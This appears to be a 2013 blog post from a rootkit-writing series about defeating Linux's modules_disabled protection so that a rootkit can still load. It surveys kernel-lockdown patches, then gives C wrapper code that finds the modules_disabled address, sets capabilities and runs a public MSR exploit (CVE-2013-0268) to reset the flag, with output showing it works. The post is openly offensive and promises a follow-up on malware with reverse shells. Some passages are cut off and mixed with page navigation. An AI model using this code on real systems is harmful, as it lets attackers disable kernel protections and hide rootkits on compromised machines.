Writing Linux Rootkits 301

Modern Linux Rootkits 301 - Bypassing modules_disabled security

By Tyler Borland (TurboBorland)

Bypassing Module Loading Restriction

Now that the rootkit skeleton is finished, what happens if the system employs security to disable loading new modules at runtime? This post will be excusively on bypassing the Linux security mechanism that does exactly this. We will dwelve into how this works and, in the end, disable the security mechanism. Of course, this will be done for modern systems and code will be made available at the end.

modules_disabled

Several Linux developers end up telling you that particular security mechanisms were never meant for security. While this might be true, it doesn't detract the fact that they are being used for security. Before 2.6.25, there was a capability set called CAP_SYS_MODULES that would be removed for all users, including root. This was the mechanism to disable module loading. However, with changes to capabilities, this no longer worked and a new solution was needed. modules_disabled is the new default solution for this. modules_disabled is a sysctl flag located at /proc/sys/kernel/modules_disabled that will disable module loading or unloading at runtime. Given the commit code [http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3d43321b7015387cfebbe26436d0e9d299162ea1] written by Kees Cook, we can see how this boolean value works in the most simplistic manner:

```
kernel/module.c:
3127 static int may_init_module(void)
```

USBCreator Exploit (or …

DMESG_RESTRICT By…

JournalCTL Terminal Es…

Ghetto Privilege Escalati…

Writing Linux Rootkits 301

Writing Linux Rootkits 2…

Linux Rootkits 10… 2

Exploiting Exotic … 3

Exploiting Exotic … 1

Exploiting Exotic … 1

Attacking Kippo 1

Modern Userland Linux …

Discovering Modern CS…

```
...
SYSCALL_DEFINE3(init_module, void __user *, umod,
                unsigned long, len, const char __user *, uargs)
{
        int err;
        struct load_info info = { };

        err = may_init_module();
        if (err)
                return err;
```

As you can see, the syscall for initializing modules (and other syscalls like delete_module/finit_module/) will check for the values of these booleans before allowing modules to be worked with. So how do we get around this issue? At first, I attempted to look at other styles ofmodule loading not reliant on these syscalls, but they only seem to be used at startup or with things I have no control over passing data to from userland. So I kept looking around.

Disabling modules_disabled

While we can easily write a 1 to /proc/sys/kernel/modules_disabled, writing a 0 to it is an entirely different story. As seen in kernel/systctl.c, we can only transition from nothing to one:

```
                .procname       = "modules_disabled",
                .data           = &modules_disabled,
                .maxlen         = sizeof(int),
                .mode           = 0644,
                /* only handle a transition from default "" to "1" */
                .proc_handler   = proc_dointvec_minmax,
                .extra1         = &one,
                .extra2         = &one,
...
        struct do_proc_dointvec_minmax_conv_param param = {
```

boolean value back to disabled). However, generally we're not going to have the ability to just restart a server. So that option is out of the question. There's also the ever-popular exploitation of a device driver already loaded with some type of write primitive. We need better and easier options for runtime.

If you read the Linux kernel mailing list as much as possible, which you should if this type of stuff interests you, then you'd read that on September 9, 2013, Mathew Garrett attempted to secure multiple arbitrary memory writes that can possibly disable the integrity of secure boot security. He outlines 12 different interesting methods that can be used to attempt this. The email chain is located at https://lkml.org/lkml/2013/9/9/532 [https://lkml.org/lkml/2013/9/9/532] and outlines these methods:

1.) [PATCH 01/12] Add BSD-style securelevel support
2.) [PATCH 02/12] Enforce module signatures
3.) [PATCH 03/12] PCI: Lock down BAR access
4.) [PATCH 04/12] x86: Lock down IO port access
5.) [PATCH 05/12] Restrict /dev/mem and /dev/kmem
6.) [PATCH 06/12] acpi: Limit access to custom_method
7.) [PATCH 07/12] acpi: Ignore acpi_rsdp kernel parameter
8.) [PATCH 08/12] kexec: Disable at runtime
9.) [PATCH 09/12] uswsusp: Disable
10.) [PATCH 10/12] x86: Restrict MSR access
11.) [PATCH 11/12] asus-wmi: Restrict debugfs interface
12.) [PATCH 12/12] Add option to automatically set securelevel

O course, all of these options aren't exactly relevant and a lot of them are already fixed on most kernels, but they're still good to know for future interest. I'd like to take the time to talk to these points and see how we can take advantage of them.

Let's immediately drop 1, 2, and 12. These are focused around the secure boot platform and ensuring the other protection mechanisms are in play and that signed kernel modules are enforced. We're not worried about this. We can also drop number 3 as that has to deal with DMA used by hardware. While this is a good option for physical access (unless other security mechanisms are set), we want to focus on a remote route. Let's also drop asus-wmi as it is a proactive measurement for possible issues with future Asus hotkeys.

"IO port access would permit users to gain access to PCI configuration registers, which in turn (on a lot of hardware) give access to MMIO register space. This would potentially permit root to trigger arbitrary DMA, so lock it down when securelevel is set."

This patch adds security checks around iopl/ioperm syscalls and read_port/write_port functions. The threat here is that specific hardware that has DMA access can be communicated with via these system calls and functions. The threat is if hardware will give access to MMIO (memory mapped input/output) registers. This would mean that memory for I/O devices is addressed on the same bus as system memory. If this is the case, a root user can use these pieces of hardware to address system memory with arbitrary memory write (write_port) via DMA (direct memory access). Because this has to deal with sepcific pieces of hardware, we don't want to travel down this path. However, this could be interesting for more targeted attacks.

[PATCH 05/12] Restrict /dev/mem and /dev/kmem

"Allowing users to write to address space provides mechanisms that may permit modification of the kernel at runtime. Prevent this if securelevel has been set."

This was a very popular mechanism for rootkits back in the day. Without needing to load a driver, a rootkit could be used by dealing directly with physical memory with /dev/mem or virtual memory with /dev/kmem. Virtual address translations to physical memory translations was also a very easy subtraction task. Eventually, developers caught on that there wasn't really many applications that actually utilized /dev/mem and /dev/kmem other than rootkits. So they decided to add some configuration options to be added by default. These are CONFIG_STRICT_DEVMEM and CONFIG_DEVKMEM.

CONFIG_STRICT_DEVMEM adds a filter function called devmem_is_allowed() for both reading and writing /dev/mem and is turned on by default. This checks for two required things. The first is to see if the access is under the first megabyte of memory. This is used for BIOS code and data used by x11/dosemu and other such legitimate applications. It also allows MMIO resources for specific hardware to work appropriately.

On the other hand, CONFIG_DEVKMEM is set to 'no' by default which disables /dev/kmem. It still has a device associated, but it is not attached to the kernel virtual memory in any way.

[PATCH 06/12] acpi: Limit access to custom_method

disassemble a particular ACPI method used by the victim, rewrite the ASL code to write to arbitrary memory, reassemble the code to AML code, and finally write it to /sys/kernel/debug/acpi/custom_method. The next time the particular ACPI method is triggered, like closing a laptop lid, the new method would execute. Of course, runtime custom_method support has also been disabled in modern flavors. This is controlled by CONFIG_ACPI_CUSTOM_METHOD which is not enabled byd efault.

[PATCH 07/12] acpi: Ignore acpi_rsdp kernel parameter

"This option allows userspace to pass the RSDP address to the kernel, which makes it possible for a user to execute arbitrary code in the kernel. Disable this when securelevel is set."

RSDT is the ACPI root system description pointer. This allows a user to pass in an RsdtAddress as part of the struct to point to code in the kernel that can be used for arbitrary write. Before this can even be taken advantage of, CONFIG_KEXEC must be compiled in which is not normal for default installed system as it would be for a live cd. We'll talk more about the powerful kexec system call next.

[PATCH 08/12] kexec: Disable at runtime

"kexec permits the loading and execution of arbitrary code in ring 0, which permits the modification of the running kernel. Prevent this if securelevel has been set."

This requires a bit of understanding on what kexec is. Kexec allows you to load and boot into another kernel during runtime of the current running kernel. This allows changes to be made to the kernel and reboot without ever actually shutting down or re-initializing the hardware. This allows a ksplice style of modification to the kernel. A new kernel can be started without any security restrictions and modify/restart the old kernel (thusly flicking the boolean flag if no init procedures for modules_disabled are applied). However, in my experience it is not common to run across such systems with CONFIG_KEXEC compiled in.

A proof of concept was written on December 3, 2013 for flipping sig_enforce using the kexec method. You can read about it at http://mjg59.dreamwidth.org/28746.html [http://mjg59.dreamwidth.org/28746.html]

[PATCH 09/12] uswsusp: Disable

snapshot by, example, coming back from hibernation. This is how uswusp (userspace software suspend) works. As I have not played with this method, I am unaware of the complexity or issues that may come from this. I'd imagine it would be a bit of a difficult procedure to produce decent results if a hibernation/suspension and restore of the system is needed before results can be produced. It may certainly be something interesting to check later on.

[PATCH 10/12] x86: Restrict MSR access

"Permitting write access to MSRs allows userspace to modify the running kernel. Prevent this if securelevel has been set. Based on a patch by Kees Cook."

Last, but certainly not least, is MSR (Machine Specific Registers). This is actually what we will be abusing to bypass modules_disabled. MSR's are incredibly powerful and available on a majority of machines (it seems that Virtual Machine support is an exception to this rule).

Machine Specific Registers

Despite the name, Machine Specific Registers aren't 'this cpu model only' style unique. There is a large amount of average supported control registers and then some undocumented, currently in testing phase, control registers. We'll be focusing on the vastly supported public control registers in cpu's. You can find a list of supported and publicly known MSR's at http://cbid.softnology.biz/html/pubmsrs.html [http://cbid.softnology.biz/html/pubmsrs.html] .

Some of the more interesting ones include control of general registers. These include sysenter_cs, sysenter_esp, and sysenter_eip. If we could control sysenter_eip and manage our own stack, we might be able to execute a write 0 anywhere to disable modules_disabled. This is exactly what Spender has given us with a weaponized form of CVE-2013-0268.

CVE-2013-0268

Spender was able to exploit a race condition between the time the sysenter_eip_msr is written with wrmsr to /dev/cpu/0/msr and when a syscall is triggered. This allows us to execute code inside the context of ring0, allowing full arbitrary write. When this bug was 'patched', the only context that people were worried about was that a uid 0 user with capabilities dropped could abuse this to escalate and gain more capabilities. Therefore, only a capability check for

Using msr32.c

http://grsecurity.net/~spender/msr32.c [http://grsecurity.net/~spender/msr32.c]

The exploit is already designed to take a simple pointer to write to (writes 0 by default). So I've created a wrapper to take care of everything for us. First, we need to be able to retrieve the modules_disabled pointer value. This looks like what you'd normally find when retrieving symbol's pointers for a kernel exploit. Let's take a look:

```
unsigned long get_symbol(char *name) {
 FILE *f;
 struct utsname ver;
 int ret;
 unsigned long addr;
 char type;
 char full_path[256];
 char sname[256];
 /* for 2.4 kernels, one would use /proc/ksyms and change fscanf
  *  Only supporting 2.6+ for simplicity, plus this is abusing msr */
 char *kallsym_file = "/proc/kallsyms";

 if (!(f = fopen(kallsym_file,"r"))) {
  uname(&ver);
  sprintf(full_path,"/boot/System.map-%s",ver.release);
  if (!(f = fopen(full_path,"r")))
   fprintf(stderr,"ERROR: Could not read any symbol file!\n");
 }

 while (ret != EOF) {
  fscanf(f,"%p %c %s\n",(void **)&addr,&type,sname);
  if (!(strcmp(name,sname))) {
   fclose(f);
```

```
  }
 }

 fclose(f);
 return -1;
}
```

This code takes a simple string (modules_disabled) and searches for it in one of two files. Either it's parsing /proc/kallsyms or /boot/System-map-kernel_version. These files are usually readable by all users on given systems, however, there does seem to be a sole oddity that happens with /proc/kallsyms sometimes. If the user is not truely root, GRKERNSEC_HIDESYM will give us a null pointer. For more information on GRKERNSEC_HIDESYM, please read http://xorl.wordpress.com/2010/11/20/grkernsec_hidesym-hide-kernel-symbols/ [http://xorl.wordpress.com/2010/11/20/grkernsec_hidesym-hide-kernel-symbols/] or the source code itself in grsec.

Now, just because we're root/uid 0 does not mean we have all capabilities. It should, but just in case I've written a simple function to validate we have the capabilities needed. Really, only CAP_SYS_NICE and CAP_SYS_RAWIO are needed. Nice for the race condition win and rawio to be able to exploit the vulnerability. However, I've run across shared memory on weird systems and Selinux control issues, so I've also added a couple other capabilities just to make sure:

```
int set_cap(void) {
 ssize_t y = 0;
 cap_t caps = cap_init();
 cap_value_t cap_list[] = { CAP_SYS_RAWIO, CAP_DAC_OVERRIDE, CAP_SYS_NICE, CAP_IPC_LOCK, CAP_IPC_OWNER };

 if (setresuid(0,0,0) != 0) {
  fprintf(stderr,"Unable to setresuid(0,0,0)");
  return -1;
 }

 if (cap_set_flag(caps,CAP_PERMITTED,5,cap_list,CAP_SET) == -1) {
  perror("cap_set_flag(PERMITTED) error");
```

```
  cap_free(caps);
  return -1;
 }

 if (cap_set_flag(caps,CAP_INHERITABLE,5,cap_list,CAP_SET) == -1) {
  perror("cap_set_flag(INHERITABLE) error");
  cap_free(caps);
  return -1;
 }

 if (cap_set_proc(caps) == -1) {
  perror("cap_set_proc()");
  cap_free(caps);
  return -1;
 }

 fprintf(stdout,"Process now has %s\n",cap_to_text(caps,&y));
 return 0;
}
```

We attempt to make sure the process is uid 0 and give the permissions permitted (can take), effective (take them now), and inheritable (our called process will receive them). Now the only thing to do is really call msr with the value we got from get_symbol and the full capabilities we got from get_cap:

```
int main(void) {
 unsigned long modules_disabled;

 /* again, needs libcap-devel to compile
  *  Not entirely needed, just for validation */
 if (set_cap()) {
  fprintf(stderr,"Could not set capabilities\n");
```

```
                return -1;
        }

 unsigned char modules_disabled_str[18];
 sprintf(modules_disabled_str,"%p",(char *)modules_disabled);
 fprintf(stdout,"[*] modules_disabled located at %s\n",modules_disabled_str);
 fprintf(stdout,"[*] Launching sysenter_eip_msr write 0\n");

 prctl(PR_SET_KEEPCAPS,1);
 execl("/home/fuzzy/msr","msr",modules_disabled_str,NULL);

 return 0;
}
```

Now, there's two things to take note with this simple wrapper. First of all, the compiled msr32.c exploit is really the only thing that's needed. Therefore if libcap-devel is not actually on the targeted system, just grep modules_disabled /proc/kallsyms or System.map-ver and feed it to msr. Second, the path is hardcoded, that'll need to be changed before you can even run it. You can add a path parse to point it to if you want, but I found no need to keep the binary a hashable size.

Pics or GTFO

```
[*] Capabilities Set
[*] modules_disabled located at 0xffffffff81f1e240
[*] Launching sysenter_eip_msr write 0
Old SYSENTER_EIP_MSR = ffffffff81676da0
New SYSENTER_EIP_MSR = 0000000080486df
Success.
[root@localhost fuzzy]# cat /proc/sys/kernel/modules_disabled
0
```

Conclusion

This ends the rootkit series. I hope this was a fun series to go through. This is nowhere near the pinnacle of awesome backdoor technology. You have easy firmware backdoors like HDD controllers, -1 rings for hypervisors, and -2 rings for SMM that can also be toyed with. This last part should help you along the path with certain restrictions before you can play with -2.

I believe next I'll be starting a malware writing series so we can start building malware functionality and then adding rootkit functionality to hide what the malware is doing. It'll involve communication over an already bounded externally available port, magic packets for reverse shells, and complete hiding from our rootkit. This all depends on my time available and how well this current series does.

Code

Bypass.c (msr32.c wrapper) [https://drive.google.com/file/d/0ByaHyu9Ur1viMm52TFdXTVVNWjg/edit?usp=sharing]
Awesome msr32.c exploit code by Spender [http://grsecurity.net/~spender/msr32.c]

Posted 1st November 2013 by TurboBorland

0 Add a comment